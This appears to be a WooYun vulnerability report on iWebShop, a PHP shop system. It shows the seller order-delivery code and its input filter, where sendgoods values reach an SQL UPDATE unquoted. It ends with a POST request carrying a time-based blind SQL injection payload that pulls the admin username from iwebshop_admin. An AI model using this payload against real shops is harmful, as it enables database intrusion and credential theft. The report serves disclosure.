WooYun.org

public function order_delivery_doc()
	{
	 	//获得post变量参数
	 	$order_id = IFilter::act(IReq::get('id'),'int');
	 	//发送的商品关联
	 	$sendgoods = IFilter::act(IReq::get('sendgoods'));
	 	if(!$sendgoods)
	 	{
	 		die('请选择要发货的商品');
	 	}
	 	Order_Class::sendDeliveryGoods($order_id,$sendgoods,$this->seller['seller_id'],'seller');
	 	$this->redirect('order_list');
	}

/**
	 * @brief 对字符串进行过滤处理
	 * @param  string $str      被过滤的字符串
	 * @param  string $type     过滤数据类型 值: int, float, string, text, bool, url
	 * @param  int    $limitLen 被输入的最大字符个数 , 默认不限制;
	 * @return string 被过滤后的字符串
	 * @note   默认执行的是string类型的过滤
	 */
	public static function act($str,$type = 'string',$limitLen = false)
	{
		if(is_array($str))
		{
			foreach($str as $key => $val)
			{
				$resultStr[$key] = self::act($val, $type, $limitLen);
			}
			return $resultStr;
		}
		else
		{
			switch($type)
			{
				case "int":
					return intval($str);
					break;
				case "float":
					return floatval($str);
					break;
				case "text":
					return self::text($str,$limitLen);
					break;
				case "bool":
					return (bool)$str;
					break;
				case "url":
					return self::clearUrl($str);
					break;
				case "filename":
					return self::fileName($str);
					break;
				default:
					return self::string($str,$limitLen);
					break;
			}
		}
	}

无关代码
//获得delivery_doc表的对象
	 	$tb_delivery_doc = new IModel('delivery_doc');
	 	$tb_delivery_doc->setData($paramArray);
	 	$deliveryId = $tb_delivery_doc->add();
		//更新发货状态
	 	$orderGoodsDB = new IModel('order_goods');
	 	$orderGoodsRow = $orderGoodsDB->getObj('is_send = 0 and order_id = '.$order_id,'count(*) as num');
		$sendStatus = 2;//部分发货
	 	if(count($order_goods_relation) >= $orderGoodsRow['num'])
	 	{
	 		$sendStatus = 1;//全部发货
	 	}
	 	foreach($order_goods_relation as $key => $val)
	 	{
	 		$orderGoodsDB->setData(array(
	 			"is_send"     => 1,
	 			"delivery_id" => $deliveryId,
	 		));
	 		$orderGoodsDB->update(" id = {$val} ");
	 	}
无关代码

order_no=20150118220152748220&id=5&weight_total=345&user_id=3&freight=20.00&name=%E9%9B%B7%E5%85%B4%E5%8A%9B&telphone=18601402547&mobile=18601402547&postcode=100000&freight_id=1&delivery_code=123124&province=110000&city=110100&area=110116&address=%E5%8C%97%E4%BA%AC%E5%B8%82%E8%A5%BF%E7%9B%B4%E9%97%A8%E5%86%85%E5%A4%A7%E8%A1%97186%E5%8F%B7&note=&sendgoods%5B%5D=-1 or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=98,sleep(1),0))